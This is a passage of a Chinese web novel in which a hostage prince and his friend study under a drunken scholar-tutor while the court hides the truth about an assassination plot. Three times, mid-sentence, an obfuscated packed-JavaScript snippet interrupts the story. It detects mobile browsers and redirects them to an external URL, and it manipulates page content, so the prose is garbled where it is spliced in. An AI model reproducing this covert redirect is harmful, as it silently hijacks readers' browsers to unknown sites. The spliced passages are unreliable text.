“仗倒是越打越多,可我渐渐发现,和我一起参军的同乡,还有和我住一个营帐的那些人,一个接一个不在了,起初我以为他们回去了,直到第二日开战时,我趴在死人堆里,在那看到了他们的头,有的身体都不全了。” 世子安慰道:“打仗即是无休止的生离死别。” 楼景谦继续说道:“朝廷后来改制了,军功要按剿灭敌军人头数论功行赏。可茫茫草原,哪有那么多贼人呢?紧接着,千户就带我们回去屠戮村民,将他们的人头割下,充当夷族军士。” 世子道:“村民何其无辜。” 阿勒齐气愤道:“好啊,原来如此,我就说从哪传的我们屠城屠村,无恶不作。我们明明是偷。” “我实在不愿再这样像刍狗一样活着,就逃军了。“ 世子:“先生,‘礼‘字究竟何解,我看此字在书中出现良多,其意也不尽相同。” 阿勒齐无奈:“世子,先生正聊到尽兴处,您非得这个时候讨论学问。” 楼景谦:“无碍,礼变化万千,往往随形势而转,其不可恃如此,切记,读书人习礼,实则是为了隐藏自己。” 世子一脸不解。 楼景谦:“暂时不解是正常的,待日后你多见见读书人,便懂了。“ 阿勒齐:“先生,您接着讲那个故事啊,后来怎么样了?” 楼景谦:“方才聊到哪了?” “你决定逃军那段。” “哦,想起来了。我偷偷逃回来,一路不敢走官道大路,翻山越岭一座山一座山翻过去,一路上风餐露宿,灰头土脸,与野人无异。” “那怎么这么巧走到江亚书院。” 阿勒齐问道。 “不是走到,是被抓到江亚书院,书院设于山林道,来往一书生发现了我,按大渊律令,逃兵是要被送往官府绞死的,他们先把我抓到书院盘问,再准备下山送往官府。” “先生,原来你从那时起便违了不少朝廷律令,难怪愿意收世子为徒。” “书院先生见我满脸污垢,于心不忍,便令弟子给我净面,可洗着洗着,众弟子皆侧目,谁曾想,污垢之下,居然是张孩子脸。” “先生,那时您多大啊?” “七岁。” 世子突然插了一嘴:“战争自古无情,我和阿勒齐也是自幼在战火中长大。“ “书院先生于心不忍,便将我收留在书院内,授我诗书,教我以人处世道理,方成今日之我。“ “那先生是怎么认识李苍雪李先生的?” 阿勒齐紧接着问,字是半天未着一笔。 “我七岁始习文认字,启蒙太晚,纵夜以继日,尚难以跟上众位师兄弟步伐,先生又极为严苛,功课颇难。” “先生,这点我阿勒齐懂,读书真乃天下最苦最累的差事。” “是啊,那时苍雪师兄天资聪颖,读书又勤,功课最好,我就日日抄他的功课。” ???阿勒齐和世子同时露出难以置信的表情。 “先生,您方才是说——抄?”阿勒齐生怕是自己听错了。 “那不然了,院里规矩,功课不完,不得入睡。为师我都没死在战场上,总不能死在读书上。” “怎么抄,能教教我阿勒齐吗?日后我也好抄世子的功课。” ???楼景谦突然意思到自己好像说了不该说的。急忙转移话题:“快习字,一会喝糖水。” “先生,先生,不是说知无不言吗?快教教我怎么抄文章。” “这还用教,等你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14805563|158484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有文章不会写之时,届时自然而然便会抄了。” 一个时辰后,松远管家端了几碗糖水过来。 “两位公子,糖水端来了,快常常老奴的手艺。” 阿勒齐难掩羞色:“世子的字早就写完了,倒是我还有好几百没写,是不是没有我的那份。” 楼景谦轻轻敲了一下阿勒齐,说道:“今日恕和努力习字,五百字写得甚好,希和今日听为师言语,尤为认真。为师觉得都极好,去喝糖水吧。” “先生,您又在取笑我了。” 阿勒齐边喝糖水边说。 “先生是这种人吗?今日恕和所学的是有字书,是文,礼,仁,信。希和所学则是无字书,是为师多年为人处世之道,你二位各有所长,是为师之幸。” “那我以后可以只学无字书吗?我不想写字,只想听故事。”阿勒齐的眼神充满期待。 “不可,日后还要教你们写文著书,不识字,怎么写文章。” 世子问道:“先生,您每日在倦山寺教书,可如何向太子殿下交待?” “天下文人皆以太子殿下为心中明君,当今圣上本就厌烦文人,二位兄长已故,大渊文坛只剩我这个所谓的大家了,我若还是在庙堂上誓死辅佐殿下,那才是置殿下于死地。” “学生不懂,为何陛下如此忌惮文人,依学生所见,文治武功缺一不可,应当重用文臣,励精图治,挽狂澜于既倒。” “历来没有帝王会真正喜欢文人。” 阿勒齐恍然大悟:“我懂了,读书人懂的东西最多,读书人都喜爱大渊太子,惧怕大渊皇帝,这不显得皇帝小儿不是个东西?” “确实不是个东西。” 楼景谦附和道。 闻言,阿勒齐和世子心内掀起惊涛骇浪,面上却努力维持平静,这可是当朝太傅,文坛执牛耳者,食君之禄,备受朝廷重用,尚对大渊皇帝恨之入骨,可见大渊已尽失民心。 世子殿下不禁暗暗思索,大渊看似繁荣鼎盛,实则积弊已久,已是强弩之末,若有强敌攻之,天下岂不唾手可得,可惜我喀沁部早已无力挥刀南下,这天下,日后怕是契丹或北羌的囊中之物了。 阿达,当年冀州那功败垂成的一仗我们要是打赢了,该有多好。喀沁有翼州在,进可挥刀南下,一统天下,退可养精蓄锐,积蓄力量。 养兵千日,用兵一时,举喀沁全族之力攻冀州,却惨败而归,痛不可言。也是自冀州一役,我喀沁部损失惨重,再无一战之力,如今只能偏安祁山一隅,天命啊,我喀沁人人骁勇善战,居然输给了如此一盘散沙,勾心斗角的大渊。 “世子,糖水都快凉了,你不喝那我替你喝了。” 阿勒齐看着口水都要流出来了。 世子怔了片刻,很快便恢复如常。 “恕和,为何如此恍惚,是喝不惯大渊的糖水吗?” “回先生,方看到糖水,想起今日所习的“润”字,见水如见玉,浑然天成,自内而外,温和洁净。学生想以此为志做文人,温润如玉的文人。“ 楼景谦点点头。 阿勒齐撇了撇嘴,世子,您还真是说谎不打草稿,和你一起出生入死多年,我阿勒齐还看不出来方才你眼里入骨的杀意。原来读书人就是嘴里文绉绉,心里杀杀杀,真憋屈。 “啥温?温人?”阿勒齐忍不住问道。 “温润如玉,温和洁净。” “什么东西,听不清楚。” 5. 山中无事,山下大乱 天色渐晚,世子和阿勒齐准备下山回家。 可主持匆忙来报,京都出大事了,全城戒严,就连倦山也已被官兵牢牢围住。 “世子,封山了怎么办,回不去质子府了。” “也好,京都大乱,正是读书的好时候,天助我也。” 阿勒齐:??? “阿勒齐,京都一定是出大事了,可是一天之内,官兵反应如此迅速,听主持方才所言,看似京都大乱,实则乱中有序,彷佛一切皆在计划之中。” “世子,你都不关心出什么事了。” “无非是大渊皇权争斗,我只知道鹬蚌相争,大渊现已无暇顾及你我了,阿勒齐,我们不用再小心行事,可自在读书了。” “都全城戒严了,还读书吗?我反正是没心思读下去。” 楼景谦经一番问询才知道,是皇帝遇刺,命在旦夕,如今全城戒严,缉拿凶手。自此,已了然,太子殿下终于出手了,那一夜,许久不礼佛的楼太傅在倦山寺长跪一夜,为太子殿下祈福。 寺院厢房里,阿勒齐问道:“世子,你说会是谁刺杀的皇帝小儿。” “皇帝驾崩谁得益最大。” “自然是太子殿下。可世子不是说太子殿下一向宅心仁厚吗?这可是弑君啊。” “这只能说明兔子急了还是会咬人的,更何况杀该杀的人,何尝不是宅心仁厚。” “世子,我们不如趁乱逃回去吧。我想家了。”阿勒齐突然小声说。 “万万不可,此时一动不如一静,皇帝遇刺,京都戒备森严,这屎盆子八成是要扣到我们这些外族人手里,这时候谁动谁死。” “那世子,我们该怎么办?” “与其惴惴不安,担惊受怕,不如挑灯夜读,把先生所授的经书再温习一番。” “我宁愿担惊受怕,也不要再看到一个字了。” 世子挑灯夜读,阿勒齐在厢房里走来走去,时不时对着空气挥几拳,屁股像是被针扎似的,片刻也坐不住。阿勒齐像热锅上的蚂蚁来回踱步,并未发现,几刻钟过去,世子手中的书还未翻一页。 “昔我往矣,杨柳依依,今我来思,雨雪霏霏。” 如此简单的四句诗,萧照世子竟花了一整个晚上才背下,那一夜楼太傅常跪礼佛,阿勒齐打了一晚的拳,萧照又何尝不是百感交集,强装镇定。 萧照忍不住在心中推算,这次刺杀虽是太子所为,可明面上必是北羌,契丹,喀沁,南境的某一支,否则太子将何以面对天下人。 若要喀沁背锅,那他和阿勒齐二人怕是早就被太子控制。不过考虑到近日他二人和太子太傅关系颇深,若是要捉他二人,定会牵连到太子头上,太子不会那么蠢。 南境富庶,算是半个大渊的钱袋子,如今战事连连,大渊处处还要倚仗南境。反之,唇亡齿寒,若大渊沦陷,南境便无险可守,对任何一支军队来说,攻南境各部,真如秋风扫落叶。这些年来,南境和大渊虽明争暗斗同床异梦,但却是最牢不可破的帝国之盟。 剩下的能做替罪羊的,便只有北羌和契丹了。 每每推算至此,萧照的内心良久不能平静,他迫切希望,那个替罪羔羊就是契丹,让契丹和大渊来个两败俱伤,以报当年冀州之仇。 冷静,冷静,不要被仇恨冲昏头脑,冷静分析。萧照按捺住心中的怒火,翻了一页书。 若我是太子,我会选谁? 北羌,国力强劲,这些年来养精蓄锐,对大渊虎视眈眈,与北羌合作,无异于与虎谋皮。 契丹,兵力强劲,前阵子又刚经历围场兵变,耶律权杀了他亲哥哥耶律安即位契丹王。耶律安一死,其手下忠臣良将死士颇多,这股势力,只能为耶律安的血脉所用。 耶律权反了之后血洗契丹王宫,斩草除根,算下来,老契丹王的血脉,怕是仅剩远在京都的契丹质子耶律非一人了。 京都刺杀,是耶律非所为,如此算来,契丹气数已尽。 可太子殿下究竟是用了什么手段,能让耶律非九死一生去刺杀当朝皇帝呢。 不管怎么说,这个结果是喀沁愿意看到的。 当年冀州一役,我喀沁势在必得,精兵强将,围城七日,山尸血海,离功成仅一线之隔,谁知契丹王竟亲率精骑,千里奔袭,突袭我军后方,一夕之间,攻守之势异也,喀沁腹背受敌,死伤遍地,不得不弃城而逃。 此一役,我喀沁男儿,几近死绝,万人去,百人归,十不存一,此后十年,妇孺哭声夜夜不绝于耳。 时至今日,喀沁仍不可知当年契丹王与大渊皇室究竟达成何种协议,使得契丹王率精兵强将支援翼州,契丹半数精锐折损于冀州一役,代价惨重。当是时也,翼州城内只剩疲兵伤残,契丹本可一鼓作气轻取翼州,却功成身退,鸣金收兵。 不过不重要了,报应不爽,契丹现如今怕是无力回天了。 深夜,京郊韩府大门紧闭,契丹质子耶律非跪坐,韩厉来回踱步。 “哥哥,和我一起走吧。放心,我一人前来,足够隐秘。“ 韩厉怒道:“是谁让你趟大渊皇室这浑水的。耶律非,你为何如此蠢钝。” “哥哥,我是为了给父王报仇雪恨。” “要报仇你就滚回契丹找耶律权,你为何要拖着整个契丹陪你去死。” “我收到消息,围场兵变是大渊皇帝老儿的手笔。” “你远在京都当质子,你所能看到的只是上位者希望你看到的。” “父王的心腹拼死逃到京都,他们都能证明,是大渊皇帝密信说三月哥哥会去围场和父王团聚,可父王到了之后,围场漫山遍野都是伏兵,几位部下拼死带回了父王的绝笔血书。” 耶律非将怀中的血书呈上。 韩厉打开看了看,一脸不可置信,血书中只有四字“传位韩厉”。 电光火石之间,韩厉明白了,老契丹王之死确实是大渊皇室所为。耶律权只是棋子。 好大的一盘棋。 “说吧,太子殿下和你做过什么交易。仅凭你和那些残部,是做不成这件事的。” “太子殿下答应我,一旦事成,他会发兵契丹,放我回契丹,届时我们里应外合,杀了耶律权。” “他说什么你就信?” “大渊太子可比大渊皇帝老儿有信用多了,大渊皇帝明明答应过,只要当年父王出兵支援冀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14805564|158484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 州,就会放你回契丹,结果呢?父王到死都没能见你一面。” “起来吧,全城戒严,明面上太子是不会放过你的,你尽快北上和旧部汇合吧。” 韩厉扶起耶律非,两兄弟紧紧拥抱了一下,耶律非忽觉胸口一凉,低头一看,寒光一闪,一把匕首赫然插在心脏处。 “哥哥,父王说过,我们是手足啊,是血脉相连的手足,这些年,父王来一直最挂念你,哥哥,为什么?”耶律非眼含热泪,倒在地上,至死不能瞑目。 韩厉不知为何忽觉锥心之痛,这,就是杀人的感觉吗? 他静静看着耶律非,喃喃道:“我不能和你一起去契丹,因为,我本就不是你的哥哥,我是汉人。” 东宫府内,太子殿下处理监国事宜,忽有暗卫急忙来报,十万火急。 太子屏退众人。 “密报,耶律非已死。” 太子将密报摔在地上,“不是说耶律非早已离开京都了。他怎么又折返了。” “耶律非一人折返京郊,去见了韩厉。” 太子殿下惚地起身,难以置信:“是韩厉杀的耶律非?” “是。” 太子殿下屏息闭目,沉默良久。 “传本宫密令,耶律非死于京都巡防营手中,罪名是弑君,斩其头颅,悬挂与城门之中,以儆效尤。切记,不可让任何人走漏风声,亦不可让任何人知道耶律非死前见过韩厉。” “遵命。” “还有,陛下可曾醒来?” “不曾,太医院束手无策。” “好,记住,药不能停。” “耶律非的死,派杨昭亲自去善后,记住,要瞒得天衣无缝,不仅要瞒大渊,也要瞒住契丹人。” 太子殿下看着奏折,心中感慨着,人算不如天算,报应不爽,下一个,又会轮到谁呢? 晨光熹微,东宫密道里依旧不见天日。 韩厉掏出怀中火石,点了手边一支蜡烛,方才看清周围。 太子殿下站在黑暗中,长身玉立。 “你就是太子。你比我想象中还要快,我本以为,耶律非死了,你会睡个好觉,日上三竿才会找上我。“ “你不该杀耶律非。据我所知,他一直把你当成亲兄弟。以求学的名义多次到书院找过你。” “我不杀他,只怕日后他知道真相会将我千刀万剐。” “他只想为父报仇,带你回家,他原本早已离开京都,却去而复返,他想带你回去,或许,还有可能扶持你做下一任契丹王。” “我韩厉本就是个汉人,一不想扰乱契丹血脉,认贼作父,二不想大渊和契丹开战,两国交战,苦的还是天下苍生,用耶律非一人之命,可换天下太平,值得。” “听闻你小时候是在宫里长大的,我们以前可有见过?”太子问道 “回殿下,不曾见过,臣只是长公主所养育的一枚棋子,终日囿于暗室,鲜有机会得见生人,更何况是陛下和殿下这样的九五至尊。” “你今后有何打算?” “读书,做人,吃饭,睡觉,总之,不再做任何人的棋子了。” 太子殿下拂袖而去。 6. 读书人也有酒桌文化 京都戒严期间,世子萧照虽努力学习,夜以继日,奈何先生全然已无心思教书了,日日带头饮酒。 阿勒齐和先生三天两头就喝起来了,不亦乐乎。 “恕和,来来来,干一杯,你不喝,我不喝,他不喝,怎么诗酒作赋,快意平生。” “先生,我们进山是为了读书和修行的,不是放浪形骸。“ “我有教啊,子曰:王侯将相宁有种乎。” 世子无奈道:“先生,您醉了。“ “我没醉,我要真是醉了,怎会看不到周兄和苍雪师兄,我若是醉了,故人怎会不识我。“楼景谦红着脸,满身酒气,躺在地上。 “恕和,这一杯你不干,就是看不起为师我,我知道,你们心里都觉得我德不配位,名大于实。“ 此话一出,吓得世子连饮三杯。 楼景谦见此笑着说:“孺子可教也,恕和啊,不要看不起为师,为师以前不是这样的,为师以前也像苍雪师兄那般光风霁月,饱读诗书,不畏权贵,不惧生死。可后来啊,为师遇到一个学生,一切就都变了,他变了,我也变了。“ 世子顿时打起精神来,试探性问道:“那位学生变得如何了。” “以前啊,他特别像阿勒齐,心性像,性情像,连不爱读书这点都和阿勒齐一模一样,可教着教着,他就像你了,爱读书,心思重,说话好听,隐忍。” 世子??? 阿勒齐醉醺醺问道:“先生,学生像世子不好吗?真是怪了,哪有先生不喜欢爱读书会说话的学生。” “可是,阿勒齐,你愿意读书吗?”先生问道。 阿勒齐摇摇头:“不喜欢,其实我最喜欢偷东西。” 楼景谦渐渐红了眼,“我的学生变太多了,他爹喜欢他这样,可我不喜欢。后来啊,我就找我最好的朋友一起教他,想让他变回来,结果,我此生最好的朋友也都没了。” 世子安慰道:“先生,人都会变的。” “谁说的,我的朋友就从来没变过,宁为玉碎,不为瓦全。” “那先生想让您的学生也这般玉碎吗?” 楼景谦赶忙回答:“那倒不想,我想他好好活着。为师是不是很没用啊,来干一个,敬敬你没用的先生。“ “先生,与其在此饮酒感怀伤心,不如多教我们点诗书。“ 阿勒齐撇了撇嘴:“世子殿下,这个时候你还想着读书啊,佩服佩服。“ 楼景谦倒是爽快地答应了:“好,为师现在就教你们诗书,笔墨伺候,听好了,这第一杯酒,不是,第一句诗叫,官逼民反,民不得不反,民不畏死,奈何以死畏之。“ 言罢,便在纸上潇潇洒洒写了几行大字,用笔锋芒毕露,甚是华丽。 世子盯着纸张,不语。 阿勒齐拉着先生:“先生,别写了,咱喝酒不干这扫兴的事,来,咱碰一个。” “好好好,酒逢知己千杯少。干!” 饮毕,先生似突然想起了什么,继续挥笔,说道:“治国之策,两害相权取其轻。” 阿勒齐哈哈大笑,“什么嘛,牛头不对马嘴,先生真是醉了。” 世子看着文字却微微点头,不由自主也饮了一杯。 世子第一次主动敬了先生一杯:“多谢先生赐教,学生敬先生一杯。” 楼景谦笑道:“你小子上道,这就学会敬酒了,懂规矩。” 一番觥筹交错后,楼景谦又在纸上写了四个大字,说道:“儒皮法骨,吃人。” “儒家为表,法家为里,这就是大渊的治国之本吗?先生为何要说是吃人。“ 楼景谦摇摇头:“不说了,不说了,都在酒里,干。” “请先生赐教。” “哪有什么值得教的,记住,尽信书不如无书,最正统的经义,最细微的注脚,最冠冕堂皇的道,于百姓,都是最无用,官家骗人用的。” “为何?” “人啊,终其一生,越无才,越吃不上饭,越是打仗流离失所,他就越是老实,越是听话,越是好管。故而,乱世多出枭雄。” “学生受教了。” 世子在心中反复回味先生今日所说的这番话,体悟颇多,一抬头,只见先生和阿勒齐正四仰八叉地睡在地上,鼾声此起彼伏。 管家端着醒酒汤进来了,叫醒了楼先生和阿勒齐。 “家主,回屋歇息吧,夜里寒凉。” 楼景谦缓缓睁开眼,一脸迷茫:“啊,已经天黑了吗?怎么一眨眼就天黑了。” “已经酉时三刻了。” “拿笔墨来,今日喝得真是酣畅淋漓,痛快啊,我要给苍雪师兄修书一封细说。” 管家迟疑了一会。世子见状补充道:“苍雪先生已往生了。” 楼景谦迅速坐起来,急问道:“往生,什么时候的事?”忽然之间,他又像是想起什么,半是哽咽半是自嘲:“看来我是真醉了,既已醉了,你们为何还要叫醒我呢?” 眼见先生就要离开,世子连忙上前,将自己近日所写的文章呈给楼景谦:“先生,这是学生近日研读经书的所思所想,只言片语,支离破碎,不成文章。请先生过目。” 先生接过,可酒过三巡,看了半天,满目重影,他无奈:“先生喝多了,看不清了。“ “先生,我一一念给您听,请先生赐教。” 酒劲上来了,楼景谦不知为何,将手里的文章撕成碎片,抛洒空中。众人皆是一愣。 楼景谦怒道:“萧照世子,如今天下大乱,天下那么多人你不看,天下那么多大事你不听,天下那么多积弊你不问,只会看这些个迂腐死物,哪怕有朝一日你熟读四书五经,你也永远写不出什么好文章,萧照世子,你是个无心之人。” “先生,有心只会痛,我这样的乱世之人,生于大厦将倾,只知独木难支,怎配有心。“ 楼景谦的手指着世子的胸膛:“怎会无心,这跳动的是何物?砰砰砰,比为师快矣。“ “先生,不过是具行尸走肉而已。“ “放屁,我管不了那位学生,我还管不了你俩个小兔崽子。萧照,阿勒齐,你们明日不必做功课了,去偷偷下山,势必要多走走,多看看,多听听,天地之间来来去去,俯仰之间走走停停,这是师命,不可违。“

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14805565|158484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “先生的意思是让我和阿勒齐从天地间找文章,悟学问?” “非也,不写文章,去山下给我偷几只鸡,抓几条鱼,为师我要吃鸡,要吃肉。” “可是佛门重地,主持知道了怕是会……” “我不管,我要吃肉,明日不把肉带来,我就把阿勒齐吃了。” 阿勒齐迷迷糊糊醒来,谁,谁在叫我。 第二日,世子和阿勒齐偷偷下山,偷了七八只鸡,分别做成了叫花鸡,烤鸡,窑鸡,炖鸡,盐焗鸡,白灼鸡…… 楼景谦昨日豪饮,久醉不醒,硬是被这肉香味给馋醒了。 世子躬身行礼,“先生,以按您的要求,抓了鸡来,只是您昨日未来得及细说何种口味,故学生将各种口味都做了一种。” “好好好,知世故而世故,是堂堂正正的读书之路,孺子可教。” 几人大快朵颐,楼景谦赞道:“色香味俱全,神品。” 阿勒齐附和道:“还是肉香啊。” 酒足饭饱后,楼景谦忽然记起这几日还未检查他二人的功课,便幽幽问道:“这几日读书可有懈怠啊?为师荒唐,你们可不能跟着荒唐,要勤学苦读。” 世子汗流浃背,不是,昨日将我文章撕成碎片的不是先生您自己吗?怎么回事,吃完肉了就都忘了?提上裤子就不认人了? 楼景谦见两人皆低头沉默,心中了然:“既然未做就尽快回去补写吧,为师明日定要看见二位的文章,切记,读书无捷径,苦海作舟,要沉得下心,世道太乱,我们师徒所能修的,也唯有此心罢了。” 世子一脸无语,但还是老老实实答道:“学生谨记。” 当夜,世子和阿勒齐两人奋笔疾书补功课,手心里全是汗。 世子暗暗思索,写什么文章好呢?先前所写的文章思来想去皆是前人所思所想,先生定是不喜。 写文之余,他想起今日下山打探消息,风闻刺杀皇帝的契丹质子已被大渊截杀,头颅悬挂城门示众,看样子,大渊是不打算出兵北伐契丹了,两国很有默契地大事化小小事化无,可惜啊,多好的两败俱伤的时机,竟如此收场。 有朝一日,我萧照定要重新卷起大渊和契丹的风云,让两国也尝尝两败俱伤,元气大伤,任人宰割的滋味,以报当年冀州之仇。 世子暗暗下定决心,心中沟壑起,于纸上,落笔写下的却是:天下大同。 阿勒齐始终不理解为何世子每每都能做到用杀气腾腾的脸写如此温和洁净的文章,世子怕是病了,日后要请个好点的大夫给他看看。 其后,先生看了世子的文章大加赞赏,说世子有兼爱天下的心胸,阿勒齐闻言,心里简直是天雷勾地火万千无语,阿达,读书人可真会骗人。世子,你不去戏班里唱曲真是可惜了。 “恕和,你对儒家经典很有领悟,想必怕是日日星夜苦读了,辛苦了。” 世子谦虚道:“回先生,其实还好,我与六经,君子之交其淡如水,日后需要学习之处良多。” 阿勒齐心里腹诽,世子,您也太会装了,我阿勒齐要不是从小跟你一起长大,八成就信了你那套鬼话。 7. 送礼 东宫书房,杨昭等人正在商议京都戒严相关事宜。 “诸位,京都已戒严半月有余,实在是劳民伤财,百姓怨声载道,本宫决定不日解禁。” 诸位大臣一片哗然。 “殿下,不可啊,如今陛下尚未醒来,殿下只是暂行监国之责,根基未稳,实权不牢。一旦解禁,诸位皇子和朝中各势力必蠢蠢欲动,妄图取而代之啊。” “臣附议,现在解禁,局面就非东宫所能掌控了,届时鹿死谁手,犹未可知。” “殿下不可因一念之仁罔顾大局。” “臣附议。” “臣附议。” “臣附议。” …… 太子扶额:“太傅曾言,权柄,拿之易,弃之难。看来京都最难的不是戒严控制,军队调动,而是放下掌控,解除禁令,诸位的意见本宫知晓,此事容本宫细细思虑再议。” “不过,本宫也有一句话要告知诸位,没有人能永远握住权柄,陛下不能,本宫更是不能。遇事不要总是先惧怕会不会失去权柄,投鼠忌器,畏手畏脚。” “我知诸位都是忠心辅佐于本宫,本宫和诸君一荣俱荣,一损俱损。只是民为贵,社稷次之,君为轻。我大渊早已尽失民心,切不可一错再错。” 群臣:“臣等谨记太子殿下教诲。”言罢,群臣悉数退下,独留杨昭一人。 太子见状,问道:“何事?” “契丹王派使者送了黄金五箱,白银十箱,牛羊各五十头,绝色美女十名,前来谢罪,希望与大渊重修旧好。” “如此说来,围场兵变,契丹怕是元气大伤,经不起一场大战了,否则以耶律权的狠辣,早就先发制人,挥刀南下了。” “是啊,尽管契丹瞒得很小心,还是能从军队调动看出点蛛丝马迹,契丹各部怕是也一盘散沙,各部蛰伏在等一个机会,为老契丹王报仇雪恨。所以,这个仗,契丹是万万不能打。” “本宫没想过要北伐攻打契丹。” “那殿下先前所做的各种谋划,军需调动,粮草准备,布防变动,可都剑指契丹,路人皆知啊。” “是本宫演给天下人看的,那些调动本宫也是打肿脸充胖子在赌,越是打不起,越是要虚张声势,若是让天下人看出我大渊国力衰弱,怕是……” “殿下瞒得甚好,连臣都已经信以为真了。” 杨昭接着问“可殿下,几十万大军的调动,就是为了演一出戏,万一真打起来,臣想想都后怕啊。” “对于契丹,本宫不是孤注一掷的赌徒,本宫还有韩厉这张王牌。” “殿下思虑周全,那耶律权送来的东西,臣实在不知道该怎么处理。“ “都收了,白送的钱和粮食,不收白不收,自家都穷得揭不开锅了,就别打肿脸充胖子了。“ “可陛下刚遇刺,尚在昏迷中,殿下就收契丹人送的礼,说出去,怕是要被千夫所指……“ 太子殿下轻轻一笑,“老子被人砍了一刀,儿子忙着拿钱收礼,若天下人不骂本宫,那只能说明朝局黑暗,人人自危,能骂本宫,恰恰说明本宫是仁君。” “难为太子殿下了。” “无碍,本宫更愿意让边境战士吃饱穿暖,传本宫令,黄金白银和牛羊,都送到薛将军那,本宫知道,他不容易,至于那十位美女,带上来我亲自决定去留。” 很快,十位绝世美女进入太子府。 太子殿下凝眉冷目,“诸位女子,可有何过人之处?” 十位美女娇羞不已,娇滴滴地回眸:“殿下,光天化日,这种事情不便细说啊,等到入夜时分,姐妹们一一向殿下展示。” “不要犹抱琵琶半遮面,也不要在本宫面前欲擒故纵,都抬起头来,记住,你们的机会只有一次,要知无不言言无不尽。” “诺。” 十位美女纷纷抬起头,太子殿下一一审视,每一位都可称得上国色天香,闭月羞花,且与中原女子不同,多了几分异域风情,更显妩媚。 “说说看,除了以色示人,诸位还有何过人之处。” 一女子答道:“奴会骑马射箭,可陪官人打猎游玩。“ 看样子是北羌质子喜欢的类型,太子殿下指着该女子,传令,赐于北羌质子。 另一女子见状答道:“奴精通乐器,会弹箜篌,会吹长笛。” “可懂琵琶?” “略知一二,不算精通,只会谈《十面埋伏》,《春江花月夜》。” 太子命人现场弹奏,转而问杨昭:“本宫记得,南境那边的王公贵族极爱音律。“ 杨昭答道:“确实,南境王尤爱琵琶,这位姑娘弹得确实不错。“ 那便送到南境吧。 是。 还有一女子善歌舞,太子将其赐给云南质子。 有女子善书画者,太子将其赐给五皇子。 此外,善棋者,善茶者,善言语者,分别一一赐给了二皇子,三皇子,六皇子。 唯有一女子,沉默不语,不愿离开东宫。 “你叫什么名字,为何执意要留在东宫。“ “奴的中原名字叫鲤儿,奴只想跟着太子殿下。“ 太子殿下轻蔑一笑,说道:“你只见了本宫一面,难道就对本宫死心塌地,非本宫不可了。” 鲤儿赶紧跪下,楚楚可怜的样子让人不忍责罚,面上梨花带雨,哭诉着:“殿下,奴被卖给契丹王,转而又来到了中原,无依无靠,备受轻视,请太子殿下收留奴吧,奴只想活着。” “你不愿去本宫挑选的达官显贵处,那便只能嫁与市井小偷了,本宫再问一遍,非要执意留在东宫吗?” “殿下,奴不想去什么王侯之府,只想留在东宫,天下哪位王公贵族不是把我们这些契丹女当成玩物,奴宁愿留在东宫当个厨娘,丫鬟,浣衣婢,至少,殿下比那些王公贵族宅心仁厚。” “好伶俐的一个女子,怕是此行就是冲着本宫而来的。可惜,这种美人计本宫的父王使得更高明,老契丹王跳的火坑,本宫不会重蹈覆辙,杨昭,将这女子赐给喀沁世子吧,她若喜欢本宫,必会喜欢喀沁世子,那家伙和本宫很像。” “殿下,奴冤枉啊,奴从未有过非分之想,奴只想活下去,堂堂正正活下去。” 鲤儿疯狂磕头,前额很快磕出了血。 “带下去。” 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“无碍,你记住,若说这天下,唯一不会背叛本宫的,那便只剩太傅一人了。太傅和父皇不同,他不希望本宫君临天下或权倾朝野,他只希望本宫这一生平安顺遂,远离刀光剑影的朝堂,他甚至希望本宫,生生世世不生于帝王家。” 太子殿下像是在回忆什么,停顿良久。 “太傅近日还在倦山寺礼佛吗?” “是,倦山寺早已封山。“ “备驾,明日去倦山寺。“ “是。“ “对了,让御厨带上几只烧鸡,几坛好酒。佛门重地,装在食盒里,莫要让人看见。“ “殿下,真的不查查太傅吗?宁可错杀不可放过啊。” “不必了,”太子殿下微微笑道,“这天下,除了太傅,每个人都或多或少希望本宫死于非命,当然,本宫的父皇也不例外。天下人,唯有太傅是真心待本宫。“ 倦山寺外山林道 楼景谦和萧照世子正在对弈。 “先生,你怎么又悔棋啊!这局之后,定要落子无悔。“ “哪有,那只眼睛能证明为师我悔棋了。这颗棋明明就在这个位置。“ “先生,我还没来得及说您是悔了哪步棋,您方才可不打自招了。“ “没有人证,没有物证,即是没悔,看招,为师要大杀四方了。“ 萧照无奈道:“阿勒齐被你派去偷鸡了,等他回来,定要监察你下棋。“ “兵不厌诈,这也是为师教你的大学问。” “先生,这大学问您还是留着和您自己下吧,学生不下了,去给您炖鸡吃。” 萧照起身准备离开。 “恕和,记得吃完饭后把功课温习一遍,有不懂之处尽管来找为师。“ “知道了,鸡是要七成盐还是六成盐。“ “七成,多炖一会,为师牙口不好。” 萧照世子内心腹诽,今日给你放十一成盐,让你下棋耍赖。 8. 父子亲情 太子殿下到倦山寺的时候,楼景谦还在呼呼大睡。 